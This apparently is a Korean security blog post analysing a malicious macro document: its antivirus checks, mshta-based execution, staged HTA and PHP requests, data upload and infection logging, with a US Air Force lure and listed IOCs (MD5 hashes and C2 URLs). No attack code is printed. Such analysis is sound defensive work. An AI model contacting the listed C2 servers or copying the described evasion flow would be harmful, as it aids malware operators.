확인한 안티바이러스 제품 중 mbam(MalwareByte), McShield(McAfee), WinDefend(Microsoft)가 존재할 경우 스크립트 파일을 생성해 동작하며 그 외의 경우 쉘 명령과 mshta를 통해 직접 실행한다. 두 케이스 모두 다음과 같은 주소에 접근하는 것을 목적으로 한다.

 

C2

natwpersonal-online.com/modules/Core/Managers/group/Vxbcb0.hta

 

(매크로 코드의 경우 특별한 건 없으나 기존에 확인된 유사 샘플에 존재하지 않았던 코드가 포함하고 있는 것 같아 적어두었으니 참고 바람)

 

매크로 코드 이후 대략 다음과 같은식으로 동작하는 것으로 추정된다.

 

1. Vxbcb0.hta에서 expres.php?op=1을 요청하면 특정 데이터를 읽어와 복호화 과정을 거쳐 스크립트 파일을 생성하고 실행한다. 실행된 코드는 정보를 수집하여 upload.php로 전송하고 파워쉘을 통해 2개의 start-process를 동작시켜 각기 다른 주소에 접근하지만 하나의 서버는 정상적으로 통신이 이루어지지 않아 확인이 불가능한 상태였다.

 

2. Vxbcb.hta 파일은 expres.php?op=2를 요청 후 특정 데이터를 또 읽어와 복호화 과정을 걸쳐 cow.php?op=1을 요청한다.

 

이후 cow.php?op=1에서는 감염된 사용자를 기록하는 기능 외에는 더이상의 행위가 없더라...

 

 

번외

사실 너무 허무하게 끝나서 조금 더 분석을 진행해보았다. a.hta는 과연 어떤 데이터를 가지고 있을까를 생각하는 와중에 이 서버도 해킹당한 서버이고 유포지로 사용하고 있다면 유사한 파일이 있지 않을까 해서 서버에 파일을 요청해보니 역시나... 파일이 존재하는 것을 확인하였다. 이를 추적하여 확인한 결과 유사 샘플이 추가적으로 확인되었다.

 

다시 구글신의 도움을 받아보니 미국 공군의 FY20에 관한 내용을 포함하고 있으며 5월 경 수정되어 유포된것으로 추정된다. 그리고 마지막 수정한 사람으로 보이는 windowsmb의 경우도 이스트시큐리티에서도 공개한 계정과 일치하는 것을 볼 수 있다.

 

공격 벡터는 위에서 나온 것과 동일한 것으로 확인되었다.

 

 

 

 

번외2

그럼 악성행위는 도대체 어떻게 발생시키나? 라는 의문이 든다. 사실 이게 메인이지만 다음 게시글을 통해 다시 작성하도록 하겠다. 그럼 이만!

 

 

IOC

HASH(MD5)

353A30CD2B95C7D129F145F41E084C0A

A90AC70B125F82E455F17ED67D105545

C2

natwpersonal-online.com/modules/Core/Managers/group/Vxbcb0.hta

natwpersonal-online.com/modules/Core/Managers/group/expres.php?op=1

natwpersonal-online.com/modules/Core/Managers/group/Vxbcb.hta

natwpersonal-online.com/modules/Core/Managers/group/expres.php?op=2

natwpersonal-online.com/modules/Core/Managers/group/cow.php?op=1

www.zeites.com/wp-includes/js/jquery/ui/accordion/a.hta

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.